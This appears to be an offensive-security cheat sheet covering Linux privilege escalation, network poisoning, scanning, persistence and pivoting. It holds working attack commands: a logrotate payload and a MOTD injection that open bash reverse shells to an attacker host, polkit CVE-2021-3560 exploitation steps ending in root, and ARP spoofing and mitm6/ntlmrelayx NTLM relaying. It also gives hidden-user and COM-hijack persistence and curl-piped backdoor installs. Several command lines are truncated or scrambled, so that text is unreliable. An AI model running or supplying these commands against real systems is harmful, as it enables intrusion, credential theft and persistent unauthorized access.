$ find / -type f -readable -newermt '2020-03-16' ! -newermt '2020-03-17' -ls 2>/dev/null

Find SUID binaries:

# User
$ find / -type f -perm /4000 -ls 2>/dev/null
# Group
$ find / -type f -perm /2000 -ls 2>/dev/null
# Both
$ find / -type f -perm /6000 -ls 2>/dev/null

Dirty COW

[Link]

$ curl -L [Link] > dirty.c


$ ./dirty
gcc dirty.c
Passw0rd
-o dirty -pthread -lcrypt
$ su firefart

logrotate

[Link]

$ curl [Link] > lr.c


$ gcc lr.c -o lr

$ cat payloadfile
if [ `id -u` -eq 0 ]; then (bash -c 'bash -i >& /dev/tcp/[Link]/9001 0>&1' &); fi

$ ./lr -p ./payload -t /home/snovvcrash/backups/[Link] -d

[Link]
[Link]
[Link]

[Link]

motd

/etc/update-motd.d/ :

$ shellpop --reverse --number 8 -H [Link] -P 1337 --base64


$ echo '<BASE64_SHELL>' >> 00-header
* Fire up new SSH session and catch the reverse shell

[Link]

PAM MOTD:

[Link]
[Link]

polkit/dbus-daemon

CVE-2021-3560

[Link]

Calculate the approximate time for dbus-send to fail:

$ time dbus-send --system --dest=[Link] --type=method_call --print-reply /or


Error [Link]: Authentication is required

real 0m0.014s
user 0m0.003s
sys 0m0.001s

Divide it by 2 or by 3 and create a new user account (you might want to experiment with the number of
milliseconds in the delay and repeat the process a couple of times if needed):

$ dbus-send --system --dest=[Link] --type=method_call --print-reply /org/fre


[1] 16405
$
[1]+ Terminated dbus-send --system --dest=[Link] --type=method
$ id snovvcrash
uid=1003(snovvcrash) gid=1003(snovvcrash) groups=1003(snovvcrash),27(sudo)

Then set a password for it, sudo into a privilege shell and you are root:

$ openssl passwd -5 'N3V3RF34RI15H3R3!'


$5$a/AGYekwlZrxQMTH$lrcXNqyEZhg6V6Rk2kqxwKtAQ5mb3cip6T1XjOgcoP0
$ dbus-send --system --dest=[Link] --type=method_call --print-reply /org/fre
[Link] string:'$5$a/AGYekwlZrxQMTH$lrcXNqyEZhg6V6Rk2kqxwKtAQ5mb3cip6T1X
[1] 16540
$
[1]+ Terminated dbus-send --system --dest=[Link] --type=method
$ su snovvcrash
$ sudo -i
[sudo] password for snovvcrash:
# id
uid=0(root) gid=0(root) groups=0(root)

Tools

LinEnum

[Link]

$ bash <(wget -qO- [Link] -t

linux-smart-enumeration

[Link]

$ sh <(wget [Link]
linPEAS

[Link]

$ sh <(wget -qO- [Link]

linux-exploit-suggester

[Link]

Locally on target:

$ sh <(wget -qO- [Link]

On Attacker box providing uname output from Victim:

Victim$ uname -a
Attacket$ curl -sL [Link]
Attacket$ ./[Link] --uname <UNAME_STRING>

SUID3NUM

[Link]

$ python <(wget -qO- [Link]

htbenum

[Link]

pspy

[Link]

A lightweight alternative with Bash:

[Link]
#!/usr/bin/env bash

old=$(ps -eo command)

while true; do
new=$(ps -eo command)
diff <(echo "$old") <(echo "$new") | grep [\<\>]
sleep .3
old=$new
done

DDexec

[Link]

Executing Linux Binaries Without Touching Disk - Living Off The Land with DDExec an…
an…

Run binaries from memory without touching the disk:

$1 base64 /bin/ls -w0 > ls.b64


$2 curl -sS [Link]/ls.b64 | bash <(curl -sSL [Link]

Networks

[Link]
[Link]
[Link]

[Link]

L2
Data Link Layer (OSI Layer 2)

[Link]

ARP Spoofing
Address Resolution Protocol

Enable IP forwarding:

$ sudo sysctl -w net.ipv4.ip_forward=1


(sudo sh -c 'echo 1 > /proc/sys/net/ipv4/ip_forward')
(edit /etc/[Link] "net.ipv4.ip_forward = 1" to make it permanent)

arpspoof (dsniff)

[Link]
[Link]

Install:

$ sudo apt install dsniff -y

Fire up the attack with Wireshark (filter [Link] == VICTIM_10.0.0.5 ) running:

$ sudo arpspoof [-i eth0] [-c both] -t VICTIM_10.0.0.5 GATEWAY_10.0.0.1 [-r]

arpspoof Output Disassembled

Wireshark filter while ARP spoofing:


(http || ftp || smb || smb2 || ldap) && [Link] == VICTIM_10.0.0.5

Portable

[Link]
[Link]

As a portable alternative one may use the Python port of arpspoof compiled with PyInstaller:

$ sudo apt install virtualenv


$ pip install pyinstaller=3.5
$ git clone [Link]
$ cd arpspoof
$ virtualenv -p `which python2` venv
$ . venv/bin/activate
$ pip install -r [Link]
$ pyinstaller --onefile --paths venv/lib/python2.7/site-packages arpspoof/[Link]
$ file dist/arpspoof

Another approach is to download Python dependencies locally and install them on a compromised Linux
host:

Dev$ pip download --no-binary=:all: -r [Link]


Compromised$ python -m pip install --no-index --find-links . -r [Link]

If you need to launch ARP spoofing on another distro (CentOS, for example), then installing OS
dependencies and using a portable binary may be easier:

Dev$ mkdir /tmp/tcpdump && yum install --downloadonly --downloaddir=/tmp/tcpdump tcpdump


Dev$ ls /tmp/tcpdump
libpcap-1.5.3-12.el7.x86_64.rpm tcpdump-4.9.2-4.el7_7.1.x86_64.rpm

Compromised$ rpm -i libpcap*.rpm tcpdump*.rpm


Compromised$ tcpdump -nvv -i eth0 -s 65535 -w [Link] "src host VICTIM_10.0.0.5"
Compromised$ ./arpfox -l
Compromised$ ./arpfox -i eth0 -t VICTIM_10.0.0.5 GATEWAY_10.0.0.1

bettercap

[Link]
[Link]
[Link]
[Link]
[Link]

Deb dependencies (Ubuntu 18.04 LTS):

libpcap0.8_1.8.1-6ubuntu1_amd64.deb

libpcap0.8-dev_1.8.1-6ubuntu1_amd64.deb

libpcap-dev_1.8.1-6ubuntu1_amd64.deb

pkg-config_0.29.1-0ubuntu2_amd64.deb
libnetfilter-queue1_1.0.2-2_amd64.deb

libnfnetlink-dev_1.0.1-3_amd64.deb
libnetfilter-queue-dev_1.0.2-2_amd64.deb

Attack:

$ sudo ./bettercap --iface eth0 --caplet [Link]

[Link]
# Quick recon of the network
[Link] on

# Set the ARP spoofing


set [Link] $CLIENT_IP
set [Link] false
set [Link] false

# Control logging and verbosity


[Link] endpoint
[Link] [Link]

# Start the modules


[Link] on
[Link] on

Mitigations
Mitigating ARP spoofing:

Ruijie Anti-ARP Spoofing Technical White [Link] 1021KB


PDF
DHCPv6 Spoofing
Dynamic Host Configuration Protocol version 6

[Link]

mitm6

[Link]

[Link]
[Link]

Install:

$ git clone [Link] ~/tools/mitm6 && cd ~/tools/mitm6


$ python3 [Link] install
Or
$ pipx install -f "git+[Link]

Generate a list of targets for NTLM relay and prepare a C2 listener and stager:

$ cme smb [Link]/24 --gen-relay-list [Link]

Start SMB server to capture NTLM hashes and serve the stager:

$ sudo [Link] -smb2support share `pwd` | tee -a ~/ws/logs/[Link]

Get ready to relay authentication and try executing a command:

$ sudo [Link] -6 -tf [Link] --no-smb-server -wh attacker-wpad -c 'cmd /c C:\Windows\

Start MitMing:

$ sudo mitm6 -i eth0 -d [Link] --ignore-nofqdn

Parse, sort and save NTLM hashes:

# Users
$ cat ~/ws/logs/[Link] | grep 'authenticated successfully' -A1 | grep aaaaaaaaaaa
$ sort -u -t: -k1,1 net-ntlmv2.mitm6 ~/ws/loot/[Link] > t
$ mv t ~/ws/loot/[Link] && rm net-ntlmv2.mitm6
# Machines
$ cat ~/ws/logs/[Link] | grep 'authenticated successfully' -A1 | grep aaaaaaaaaaa

Attack vectors

Grab hashes with [Link] (passive):

1. [Link] poisons IPv6 DNS entries for all hosts in the /24 network.

2. Victims start to use attacker's machine as the primary DNS server.

3. [Link] on the attacker's machine acts like a rogue DNS server and responds with the attacker's IP
for all incoming queries.

4. [Link] collects hashes during SMB requests from victims.

Relay authentication with [Link] (active):

1. [Link] poisons IPv6 DNS entries for all hosts in the /24 network.

2. Victims start to use attacker's machine as the primary DNS server.

3. [Link] on the attacker's machine acts like a rogue DNS server, [Link] serves a
malicious WPAD file with an inexistent hostname (which will be resolved to the attacker's IP anyway)
and acts like a rogue proxy server and [Link] responds with the attacker's IP for all the incoming
DNS queries.
4. Victims grab the WPAD file and ask the rogue IPv6 DNS server (attacker's machine) to resolve its
location - resolved to attacker's machine.
5. Victims go to the rogue proxy server and there [Link] responses with HTTP 407 Proxy
Authentication .

LLMNR / NBNS Poisoning


Link-Local Multicast Name Resolution / NetBIOS Name Service

Responder

[Link]
[Link]
[Link]

[Link]

Install:
$ git clone [Link] com/lgandx/Responder ~/tools/Responder && cd ~/tools/Responder

Run:

$ sudo ./[Link] -I eth0 -Av


$ sudo ./[Link] -I eth0 -wd -P -v

Parse, sort and save NTLM hashes:

# Users
$ cat logs/*.txt | grep -a . | grep -a -v -e 'logs/' -e '\$' | sort -u -t: -k1,1 > net-ntlmv2
$ sort -u -t: -k1,1 [Link] ~/ws/loot/[Link] > t
$ mv t ~/ws/loot/[Link] && rm [Link]

# Machines
$ cat logs/*.txt | grep -a '\$' | sort -u -t: -k1,1

Inveigh

[Link]

PS > Invoke-Inveigh [-IP '[Link]'] -ConsoleOutput Y -FileOutput Y -NBNS Y -mDNS Y -Proxy

InveighZero

[Link]
[Link]

PS > .\[Link] -FileOutput Y -NBNS Y -mDNS Y -Proxy Y -MachineAccounts Y -DHCPv6 Y -LL

SNACs Abuse
Stale Network Address Configuration

[Link]
configurations/

[Link]
Actively analyze ARP traffic and hunt for SNACs (Stale Network Address Configurations):

$ sudo python3 [Link] capture -i eth0 -ar -dr [--blacklist [Link]]

If a SNAC if found (can be detected, for example, when a host has moved from one IP to another and its
DNS A record not matching its DNS PTR record anymore) so that some application in the network is still
trying to send sensitive data to the stale IP address (because it may simply be hard-coded in the app), an
adversary can set an alias for their interface pretending to be that host with the stale IP and collect all the
traffic intended for it:

# Check again with tcpdump


$ sudo tcpdump -nvv -i eth0 "src host <STALE_IP> and arp"

# Abuse it!
$ sudo tcpdump -nA -i eth0 "src host <STALE_IP> and (dst port 80 or dst port 443)"
Or
$ sudo tcpdump -nvv -i eth0 -s 65535 -w [Link] "host <STALE_IP>"

$ sudo ip addr add <STALE_IP>/24 dev eth0

# Clean up
$ sudo ip addr del <STALE_IP>/24 dev eth0

VLAN Hopping
Virtual Local Area Network

[Link]

Double VLAN Tagging

[Link]
[PDF] VLAN Hopping Attack (Haboob Team)

NAC Bypass
Network Access Control & Port Security (MAB, IEEE 802.1X, etc.)

[Link]
[Link]
[Link]

How to bypass wired 802.1X

Tools

FENRIR

[Link]
[PDF] 802.1x NAC & BYPASS TECHNIQUES (Hack in Paris 2017, Valérian LEGRAND)

HIP17 - Talk 12 - 802.1x Network access control & Bypass Techniques by VALERIAN L…
L…
NACKered & nac_bypass

[Link]

[Link]
[Link]

Set up the bridge ( eth0 is connected to the switch, eth1 is connected to the authenticated client):

$ sudo ./nac_bypass_setup.sh -1 eth0 -2 eth1 [-S] [-R]

Check iptables rules:

$ sudo iptables -t nat -L

Reset all the changes (bridge interface and iptables rules):

$ sudo ./nac_bypass_setup.sh -r

Scanning

[Link]
[Link]
[Link]

[Link]

Host Discovery

ARP

[Link]
[Link]
network-0150333/
[Link]
configurations/
arp scan
Active:

$ sudo arp-scan -l [-s <SPOOFED_IP>] -v


$ sudo arp-scan -I eth0 [Link]/24

netdiscover

Passive:

$ sudo netdiscover -i eth0 -r [Link]/24 -p

Active, sending 20 requests per IP:

$ sudo netdiscover -i eth0 -r [Link]/24 -c 20

Hunt for Subnets

[Link]

Take [Link]/8 as an example:

$ sudo nmap -n -sn 10.0-255.0-255.1 -oA subnets/gateways -PE [--min-rate 10000 --min-hostgroup
$ grep 'Up' subnets/[Link] | cut -d' ' -f2 > subnets/[Link]

$ sed -i subnets/[Link] -e 's/$/\/24/'

Ping Sweep

Bash:

$ NET="0.0.0"; for i in $(seq 1 254); do (ping -c1 -W1 $NET.$i > /dev/null && echo "$NET.$i"
Or
$ NET="0.0.0"; for i in $(seq 1 254); do (ping -c1 -W1 "$NET.$i" | grep 'bytes from' | cut -d

$ sort -u -t'.' -k4,4n [Link] > hosts/[Link] && rm [Link]

Batch:

Cmd > set "NET=10.5.5" && for /L %i in (1,1,255) do @ping -n 1 -w 200 %NET%.%i > nul && echo %

PowerShell (option 1):


PS > echo "[*] Scanning in progress...";1..254 |ForEach-Object {Get-WmiObject Win32_PingStatus

PowerShell (option 2):

PS > $NET="192.168.0";for($i=1;$i -lt 255;$i++){$command="ping -n 1 -w 100 $NET.$i > nul 2>&1


PS > rm tmp*.txt

Nmap:

$ sudo nmap -n -sn -iL subnets/[Link] -oA hosts/pingsweep -PS22,443 -PA21,80 -PE -PP
$ grep 'Up' hosts/[Link] | cut -d' ' -f2 | sort -u -t'.' -k1,1n -k2,2n -k3,3n -k4,4n

RMI Sweep

Remote Management Interfaces:

Port Service

22 SSH

3389 RDP

2222 SSH?

5900 VNC

5985 WinRM

5986 WinRM over SSL/TLS

Nmap:

$ sudo nmap -n -Pn -iL subnets/[Link] -oA hosts/rmisweep -p22,3389,2222,5900,5985,5986 [--


$ grep 'open' hosts/[Link] | cut -d' ' -f2 | sort -u -t'.' -k1,1n -k2,2n -k3,3n -k4,4n

Services

Raw Identification

$ nc -nv [Link] 4444 [-C]

Nmap XML Parsers


[Link]

[Link]

$ git clone [Link] ~/tools/parsenmap-rb && cd ~/tools/parsenmap-


$ bundle install && ln -s ~/tools/parsenmap-rb/[Link] /usr/local/bin/[Link] && cd
$ [Link] --help

Examine version scan:

$ [Link] services/[Link] > services/[Link]

Split version scan by service names:

$ [Link] -i services/[Link]

nmaptocsv

[Link]

$ git clone [Link] ~/tools/nmaptocsv && cd ~/tools/nmaptocsv


$ python3 -m pip install -r [Link] csvkit && ln -s ~/tools/nmaptocsv/[Link] /u
$ [Link] --help

Examine version scan:

$ [Link] -x services/[Link] -d',' -f ip-fqdn-port-protocol-service-version-

Ports

Scan with echo :

$ IP="[Link]"; for p in $(seq 1 49151); do (timeout 1 bash -c "echo '.' >/dev/tcp/$IP/$p && e
$ sort -u -t':' -k1,1n hosts/[Link] > hosts/[Link] && rm hosts/[Link]

Scan with nc :

$ seq 1 49151 | xargs -n1 | xargs -P0 -I {} nc -nzv -w1 [Link] {} 2>&1 | grep -vE "timed out

Top TCP ports:

Port Service
21 FTP
22,2222 SSH

23 Telnet

25 SMTP

53 DNS

80,8080 HTTP

88 KDC

111 SUNRPC

135 MSRPC

137 NetBIOS

139,445 SMB over NetBIOS,SMB over TCP/IP

389,636 LDAP,LDAP over SSL/TLS

443,8443 SSL/TLS

593 HTTP RPC Endpoint Mapper

623 IPMI

873 RSYNC

1090,1098,1099,4444,11099,47001,47002,10999 Java RMI

1433 MS SQL

1521 Oracle

1947 HASP License Manager


TCP one-liner:

ports_tcp="21,22,23,25,53,80,88,111,135,137,139,389,443,445,593,623,636,873,1090,1098,1099,143

Top UDP ports:

Port Service

53 DNS

67 DHCP

69 TFTP

88 KDC
123 NTP

137 NetBIOS

161 SNMP

500 IKE

623 IPMI

3391 RD Gateway

UDP one-liner:

ports_udp="53,67,69,88,123,137,161,500,623,3391"

Nmap

[Link]

Flag -A :

nmap -A ... == nmap -sC -sV -O --traceroute ...

Host discovery flag:

nmap -sn ... == nmap -PS443 -PA80 -PE -PP ...


-PS/PA/PU/PY [portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
-PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
-PO [protocol list]: IP protocol ping

Search for Nmap NSE scripts:

$ find /usr/share/nmap/scripts/ -type f | grep smb


Or
$ sudo nmap --script-updatedb
$ cat /usr/share/nmap/scripts/[Link] | grep smb

Configure Nmap to run as unprivileged user by setting Linux capabilities:

$ sudo setcap cap_net_raw,cap_net_admin,cap_net_bind_service+eip `which nmap`


$ nmap --privileged ...

Grep only numbers to get a comma-separated list of ports:


$ cat nmap/[Link] | egrep -o '^[0-9]{1,5}' | awk -F/ '{ print $1 }' ORS=','; echo

Define which NSE scripts were ran:

$ grep '|_' services/[Link] | cut -d'_' -f2 | cut -d' ' -f1 | sort -u | grep ':

Look at HTTP titles:

$ grep -i 'http-title' services/[Link]

Fast port discovery with Masscan + versions and scripts with Nmap (TCP):

$ sudo masscan --rate 1000 -e tun0 -p1-65535,U:0-65535 [Link] > masscan/ports


$ ports=`cat masscan/ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr
$ sudo nmap -n -Pn -sVC [-sT] [-A] [--reason] -oA nmap/tcp [Link] -p$ports

Fast port discovery with Nmap + versions and scripts with Nmap (TCP & UDP):

$ sudo nmap -n -Pn --min-rate 1000 -T4 [Link] -p- -v --open | tee nmap/ports_tcp.txt
$ ports_tcp=`cat nmap/ports_tcp | grep '^[0-9]' | awk -F "/" '{print $1}' | tr "\n" ',' | sed

$ sudo nmap -n -Pn -sVC [-sT] [-A] [--reason] -oA nmap/tcp [Link] -p$ports_tcp

$ sudo nmap -n -Pn -sU [--max-retries 1] [Link] -v --open | tee nmap/ports_udp.txt


$ ports_udp=`cat nmap/ports_udp | grep '^[0-9]' | awk -F "/" '{print $1}' | tr "\n" ',' | sed
$ sudo nmap -n -Pn -sVCU [--reason] -oA nmap/udp [Link] -p$ports_udp

Nmap a single host helper (full TCP), output is placed in CWD:

nmap_single_host.sh
#!/usr/bin/env bash

# Usage: ./nmap_single_host.sh <IP>

IP="$1"
OUT="${IP//./-}"

quick_ports_scan="sudo nmap -n -Pn --min-rate 1000 -T4 $IP -p1-65535 --open -v | tee ${OUT}_al
echo -e "\033[0;31m########## \033[1;32m${quick_ports_scan}\033[0;31m ##########\033[0m"
eval ${quick_ports_scan}

ports_tcp=`cat "${OUT}_alltcp_sweep.txt" | grep '^[0-9]' | awk -F "/" '{print $1}' | tr "\n"

versions_and_scripts_scan="sudo nmap -Pn -sVC -O -oA ${OUT} $IP -p$ports_tcp"


echo -e "\033[0;31m########## \033[1;32m${versions_and_scripts_scan}\033[0;31m ##########\033
eval ${versions_and_scripts_scan}
Visualizes a grepable Nmap output in terminal (run the scan with open ):

nmap_visualize.sh
#!/bin/bash

# Usage: ./nmap_visualize.sh <NMAP_OUT.GNMAP>

INPUT=$1
IFS=$'\n'

for line in `grep "Ports:" $INPUT`; do


echo $line | cut -d ' ' -f 2
for j in `echo $line | grep -oE "Ports\:.*" | cut -d " " -f 2- | sed 's/, /\n/g'`; do
PORT=`echo $j | cut -d "/" -f 1,3`
SERVICE=`echo $j | cut -d "/" -f 7`
if [ -z "$SERVICE" ]
then
SERVICE=`echo $j | cut -d "/" -f 5`
fi
echo " |___$PORT ( $SERVICE )"
done
echo ""
done

unset $IFS

Masscan

[Link]

$ sudo masscan [-e eth0] --rate 1000 -iL [Link] --open -p$ports --resume [Link] >> mas
$ mkdir services && for p in `echo $ports | tr ',' ' '`; do grep "port $p/tcp" [Link] | a

RustScan

[Link]

$ sudo rustscan -b 1000 -t 2000 -u 5000 -a [Link] -r $ports -g --no-config --scan-order "Ra

Scan Nmap top 1000 TCP ports:

[Link]

$ sudo wget [Link]


$ sudo rustscan -a [Link] --top
Naabu

[Link]

$ sudo naabu [-interface eth0] -iL [Link] -s s -rate 1000 -p - -silent [-nmap-cli 'sudo nma
$ sudo naabu -host [Link] -top-ports 1000

Invoke-Portscan

[Link]

[Link]

PS > Invoke-Portscan -Hosts [Link]/24 -sn -noProgressMeter -oA sweep


PS > Invoke-Portscan -Hosts [Link]/24 -T 4 -TopPorts 25 -oA top25
PS > Invoke-Portscan -HostFile .\[Link] -Ports 22,80,443,445

Hunt for Gateways & NICs

[Link]

Search for gateways and dual-homed hosts.

gateway-finder-imp

[Link]

$ python3 [Link] -d [Link] -m [Link] -i eth0


$ python3 [Link] -D file_with_dst_IPs.txt -M file_with_nex_hop_MACs.txt -i eth0

NetBIOS

nbtscan

$ sudo nbtscan -r [Link]/24

nbname (MSF)

msf > use auxiliary/scanner/netbios/nbname


msf > set RHOSTS file:[Link]
msf > run

nextnet

[Link]

$ ./nextnet -rate 1000 [Link]/24 | grep nets

RPC via IOXIDResolver

PingCastle

[Link]

Double click > scanner > oxidbindings > all .

SharpOxidResolver

[Link]

Cmd > .\[Link] # query all domain computers


Cmd > .\[Link] <IP/HOSTNAME>

Tools

AutoRecon

[Link]

legion

[Link]

nmapAutomator

[Link]

Install:
$
$ git
sudoclone [Link]
ln -vs `pwd`/nmapAutomator/[Link] ~/tools/nmapAutomator
/usr/local/bin/ && cd ~/tools/nmapAut

Run:

$ [Link] --host [Link] --type All

SIP / VoIP

Sniff Traffic

tcpdump
While connected via SSH:

$ sudo tcpdump -i eth0 -w [Link] -s0 'not tcp port 22' &

Wireshark

[Link]
[Link]

Filters

Protocols to consider:

DTP (Dynamic Trunking Protocol)


OSPF (Open Shortest Path First)
SSDP (Simple Service Discovery Protocol)

ARP (Address Resolution Protocol)


LLMNR (Link-Local Multicast Name Resolution)
NBNS (NetBIOS Name Service)
mDNS (Multicast DNS)
ICMPv6 (Internet Control Message Protocol version 6)
DHCPv6 (Dynamic Host Configuration Protocol version 6)
dtp || ospf || ssdp || arp || llmnr || nbns || mdns || icmpv6 || dhcpv6

NFS
Network File System

[Link]

[Link]

[Link]

Nmap
Discover rpcbind:

$ sudo nmap -sV --script rpcinfo [Link] -p111

Run Nmap scripts:

$ sudo nmap -sV --script 'nfs*' [Link] -p2049

Mount

$ showmount -e [Link]
$ sudo mount -v -t nfs -o vers=3 -o nolock -o user=snovvcrash,pass='Passw0rd!' [Link]:/ho

Persistence

[Link]

Windows
[Link]

Scheduled Tasks

[Link]

Hidden Local User

Dollar Sign

[Link]

Cmd > net user snovvcrash$ Passw0rd! /add

SpecialAccounts

PS > New-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\" -Name Speci


PS > New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Speci

COM Hijacking

Locate good targets to hijack with Procmon filters:

Operation is RegOpenKey
Result is NAME NOT FOUND
Path is InprocServer32 (in-process server allowing the specified DLL to be loaded into current process
memory space)

Locate CLSIDs from scheduled tasks:

schtask.ps1
$Tasks = Get-ScheduledTask

foreach ($Task in $Tasks)


{
if ($[Link] -ne $null)
{
if ($[Link] -eq $true)
{
if ($[Link] -eq "Users")
{
Write-Host "Task Name: " $[Link]
Write-Host "Task Path: " $[Link]
Write-Host "CLSID: " $[Link]
Write-Host
}
}
}
}

Check if a COM component exists under a relevant registry hive by its CLSID:

PS > Get-ChildItem -Path "Registry::HKCR\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"


PS > Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft
PS > Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft

If it exists under HKLM but does not exists under HKCU hive, we can hijack this COM component by
creating a new item in the latter path:

PS > New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1


PS > New-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" -Name
PS > New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1
PS > Get-ItemProperty -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1

RID Hijacking

[Link]
[Link]

.LNK Shortcuts

[Link]

Tools

SharPersist

[Link]

beacon> execute-assembly [Link] -t schtask -c "C:\Windows\System32\WindowsPowerShell\


beacon> execute-assembly [Link] -t startupfolder -f "UserEnvSetup" -m add
beacon> execute-assembly [Link] -t reg -c "C:\ProgramData\[Link]" -a "/q /n" -k

Linux
SSH Tunnel in Crontab

[Link]
#!/bin/bash
if [[ `ps -ef | grep -c 2222` -eq 1 ]]; then
/usr/bin/ssh -nNT -R 2222:localhost:22 -oStrictHostKeyChecking=no -oUserKnownHostsFile=/dev/
fi

Attacker's box:

$ sudo useradd -ms /bin/false nopty


$ sudo ssh-keygen -f /home/nopty/.ssh/dummy_key -t ed25519 -q -N ""
$ cat /home/nopty/.ssh/dummy_key.pub
$ sudo vi /home/nopty/.ssh/authorized_keys
from="[Link]",command="echo 'Only port forwarding is allowed'",no-agent-forwarding,no-X11

Victim's box:

$ curl [Link]/dummy_key > /home/alice/.ssh/.k


$ chmod 600 /home/alice/.ssh/.k
$ curl [Link]/[Link] > /home/alice/.conf
$ chmod +x /home/alice/.conf
$ crontab -e
*/15 * * * * /home/alice/.conf

Global Socket

[Link]

Install

Victim's box:

$ bash -c "$(curl -fsSL [Link]/x)"


$ bash -c "$(wget -qO- [Link]/x)"

Connect

Attacker's box:

$ cd ~/tools && bash -c "$(curl -fsSL [Link] && cd


$ ~/tools/gsocket/tools/gs-netcat -s "<SECRET>" -i

Cleanup
Victim's box:

$ GS_UNDO=1 bash -c "$(curl -fsSL [Link]/x)"


$ GS_UNDO=1 bash -c "$(wget -qO- [Link]/x)"

$ pkill gs-bd

Rootkits

[Link]/t/kernel-rootkits-getting-your-hands-dirty/1485

Pivoting

PayloadsAllTheThings/Network Pivoting [Link]


[Link]

[Link]

Check if connections are allowed at a certain port (alternative to [Link] and powercat.ps1):

nc.ps1
# Test-NetConnection -ComputerName [Link] -Port 4444
$port = $args[0]
$endpoint = New-Object [Link] ([[Link]]::Any, $port)
$listener = New-Object [Link] $endpoint
$[Link]()
Write-Host "Listening on port $port"
while ($true)
{
$client = $[Link]()
Write-Host "A client has connected"
$[Link]()
}

Check if the machine can reach specific remote port when Test-NetConnection is not available (1, 2):

$ cme smb [Link] -u snovvcrash -p 'Passw0rd!' -x 'powershell (New-Object [Link]

SSH

[Link]
Local vs Remote Port Forwarding

A cheatsheet for SSH Local/Remote Forwarding command syntax:

-L 1111:[Link]:2222 : the traffic is forwarded from SSH client via SSH server, so 1111 is
listening on client-side and traffic is sent to 2222 on server-side.

-R 2222:[Link]:1111 : the traffic is forwarded from SSH server via SSH client, so 2222 is
listening on server-side and traffic is sent to 1111 on client-side.

Consider the following example. An attacker has root privileges on Pivot1. He creates the first SSH tunnel
(remote port forwarding) to interact with a vulnerable web server on Pivot2. Then he exploits the vulnerability
on Pivot2 and triggers it to connect back to Attacker via a reverse-shell (firewall is active, so he needs to
pivot through port 443, which is allowed). After that the attacker performs PE on Pivot2 and gets root. Then
he creates another tunnel (local port forwarding) over the first one to SSH into Pivot2 from Attacker. Finally,
he forwards port 80 over two existing hops to reach another vulnerable web server on Victim.

Attacker ([Link]) Pivot1 ([Link])


┌──────────────────────────────────────────────────────────────────────┐ ┌───────────────────
│ 22 │ │
│ 1. ssh -R 443:[Link]:9001 root@[Link] ------------------------------► [Link]:22
│ │ │
│ 2. │ │ Listens [Link]
│ │ │
│ 3. │ │ ~C ssh> -L 9002
│ │ │
│ 4. Listens [Link]:9002 (to interact with web server [Link]:80) │ │
│ │ │
│ 5. shellpop -H [Link] -P 443 --reverse --number 8 --base64 │ │
│ │ │
│ 9001 over [Link]:22 │ │
│ 6. rlwrap nc -lvnp 9001 ◄--- [Link]:9001 ◄----------------------------- [Link]:443 ◄───
│ │ │
│ 7. Got shell from [Link] │ │
│ │ │
│ 8. Got root on [Link] │ │
│ │ │
│ │ │ ~C ssh> -L 9003
│ │ │
│ 9. Listens [Link]:9003 │ │
│ │ │
│ │ │
│ │ │ ssh -L 1337:127
│ │ │
│ │ │ Listens 127.0.0
│ │ │
│ 1337 over [Link]:22 │ │
│ 10. ssh root@[Link] -p 9003 -------------------------------------------► [Link]:1337 -
│ │ │
│ │ │
│ │ │

│ 11. Listens [Link]:9004 │
│ │

│ 1337 over [Link]:22 │ │
│ 12. curl [Link] ------------------------------------------► [Link]:1337 -
│ │ │
└──────────────────────────────────────────────────────────────────────┘ └───────────────────

Notes:

1 For SSH server to listen at [Link] instead of [Link] , the GatewayPorts yes must be
set in /etc/ssh/sshd_config .

1 With SSH (or Chisel, for example) server running on the Attacker the same can be achieved by
doing local port forwarding instead of remote.

snovvcrash@attacker:~$ ./chisel server -p 8000


root@pivot1:# nohup ./chisel client [Link]:8000 443:[Link]:9001 &
root@pivot1:# netstat -tulpan | grep 443
tcp6 0 0 :::443 :::* LISTEN 18406/./chisel
snovvcrash@attacker:~$ rlwrap nc -lvnp 9001

Remote Dynamic Forwarding

Attacker's IP: [Link]

Victims's IP: [Link]

An example how to safely set remote dynamic port forwarding (SOCKS) with a builin SSH client.

Generate a dummy SSH key on Victim:

alice@victim:~$ ssh-keygen -f dummy_key -t ed25519 -q -N ""

Add dummy_key.pub contents to authorized_keys on Attacker with the following options:

snovvcrash@attacker:~$ vi ~/.ssh/authorized_keys
from="[Link]",command="echo 'Only port forwarding is allowed'",no-agent-forwarding,no-X11

Connect to Attacker's SSH server from Victim:

alice@victim:~$ ssh -fN -R 1080 -oStrictHostKeyChecking=no -oUserKnownHostsFile=/dev/null -i d

netsh
Rules
Allow inbound traffic flow on port 4444/TCP:

Cmd > netsh advfirewall firewall add rule name="Allow 4444" dir=in action=allow protocol=TCP l
Cmd > netsh advfirewall firewall delete rule name="Allow 4444" protocol=TCP localport=4444

Relay

Add a relay between two machines (need to be local admin).

Make any traffic hitting port 8443 on [Link] to be redirected to [Link] on port 443:

Cmd > netsh interface portproxy add v4tov4 listenaddress=[Link] listenport=8443 connectaddres

Show active relays:

Cmd > netsh interface portproxy show v4tov4

Remove a relay:

Cmd > netsh interface portproxy delete v4tov4 listenaddress=[Link] listenport=8443

L2 VPN over SSH

[YouTube] HTB Business CTF 2022: Dirty Money - The Day Before

Allow tunneling in SSH server config on Victim:

root@victim:~$ sudo vi /etc/ssh/sshd_config


...uncomment "PermitTunnel = yes"...
root@victim:~$ sudo service sshd restart

Connect to Victim building a Ethernet tunnel:

snovvcrash@attacker:~$ sudo ssh -oTunnel=ethernet -w0:0 root@[Link]

Enable tap interfaces on both ends:

root@victim:~$ sudo ip link set tap0 up


snovvcrash@attacker:~$ sudo ip link set tap0 up

Put Victim's interface and tap into bridge:


